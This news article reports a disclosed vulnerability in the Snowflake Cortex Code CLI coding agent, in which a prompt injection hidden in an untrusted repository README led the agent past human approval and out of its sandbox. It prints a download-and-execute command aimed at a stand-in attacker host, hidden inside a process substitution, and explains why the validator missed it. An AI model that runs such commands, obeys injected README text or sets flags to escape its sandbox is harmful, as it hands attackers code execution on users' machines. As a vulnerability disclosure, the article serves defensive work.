Snowflake Cortex Code CLI vulnerability allowed sandbox escape and malware execution

✍️ OpenClawRadar📅 Published: March 19, 2026🔗 Source
Snowflake Cortex Code CLI vulnerability allowed sandbox escape and malware execution
Ad

Vulnerability Details

The Snowflake Cortex Code CLI is a command-line coding agent that operates similarly to Claude Code and OpenAI's Codex, with built-in integration to run SQL in Snowflake. Two days after release, a vulnerability was identified in Cortex Code's command validation system that allowed specially constructed malicious commands to execute arbitrary commands without triggering human-in-the-loop approval steps and execute those commands outside of the Cortex CLI's sandbox.

Attack Chain

The attack works via indirect prompt injection. A user opens Cortex and turns on the sandbox, then asks Cortex for help with a third-party open-source codebase. A prompt injection hidden in the README of an untrusted repository manipulates Cortex into believing it must run a dangerous command.

Cortex failed to validate commands inside process substitution expressions, allowing unapproved execution of the malicious command:

cat < <(sh < <(wget -q0- https://ATTACKER_URL.com/bugbot))

This command downloads a script from an attacker's server and executes it. The bypass worked because:

  • Unsafe commands within a process substitution <() expression were not evaluated by the validation system
  • The full command started with a 'safe' command (cat in this case)
  • Commands in process substitution expressions never triggered human approval
Ad

Sandbox Bypass

The prompt injection also manipulates the model to set a flag that triggers unsandboxed command execution. Cortex, by default, can set a flag to trigger unsandboxed command execution, and the injection uses this to allow the malicious command to execute outside the sandbox.

Remediation

The Snowflake security team validated and remediated this vulnerability, releasing a fix with Cortex Code CLI version 1.0.25 on February 28th, 2026. Snowflake's full advisory is available within the Snowflake Community Site at: https://community.snowflake.com/s/article/PromptArmor-Report---Snowflake-Response

Note: This attack chain also applied to non-sandbox users. Documentation indicates that in OS+Regular mode, all commands prompt for user approval. Commands run in the sandbox also have network and file access restrictions.

📖 Read the full source: HN AI Agents

Ad

👀 See Also

Rules of the Claw: Open Source Security Rule Set for OpenClaw Agents
Security

Rules of the Claw: Open Source Security Rule Set for OpenClaw Agents

An open source JSON rule set with 139 security rules that blocks destructive commands, protects credential files, and guards instruction files from unauthorized agent edits. It operates with zero LLM dependency using regex patterns at the tool layer.

OpenClawRadar
Linux Kernel Proposes Decentralized Identity System to Replace PGP Web of Trust
Security

Linux Kernel Proposes Decentralized Identity System to Replace PGP Web of Trust

Linux kernel maintainers are working on a decentralized identity layer called Linux ID to replace the current PGP web of trust. The system uses W3C-style decentralized identifiers (DIDs) and verifiable credentials to authenticate developers without requiring face-to-face key-signing sessions.

OpenClawRadar
PolyRange: Contamination-Resistant Offensive-AI Benchmark with LLM-Generated Targets
Security

PolyRange: Contamination-Resistant Offensive-AI Benchmark with LLM-Generated Targets

PolyRange v1.0 is an MIT-licensed, self-hostable benchmark that generates fresh web targets per run to prevent training data contamination. It includes 84 WSTG-derived classes across all OWASP categories, two defense tiers, and real backends.

OpenClawRadar
OpenClaw User Adds TOTP 2FA After Agent Exposed API Keys in Plain Text
Security

OpenClaw User Adds TOTP 2FA After Agent Exposed API Keys in Plain Text

An OpenClaw user created a security skill called 'Secure Reveal' that requires TOTP authentication via Telegram before displaying stored credentials, after their AI agent accidentally leaked API keys and passwords in plain text during a demo.

OpenClawRadar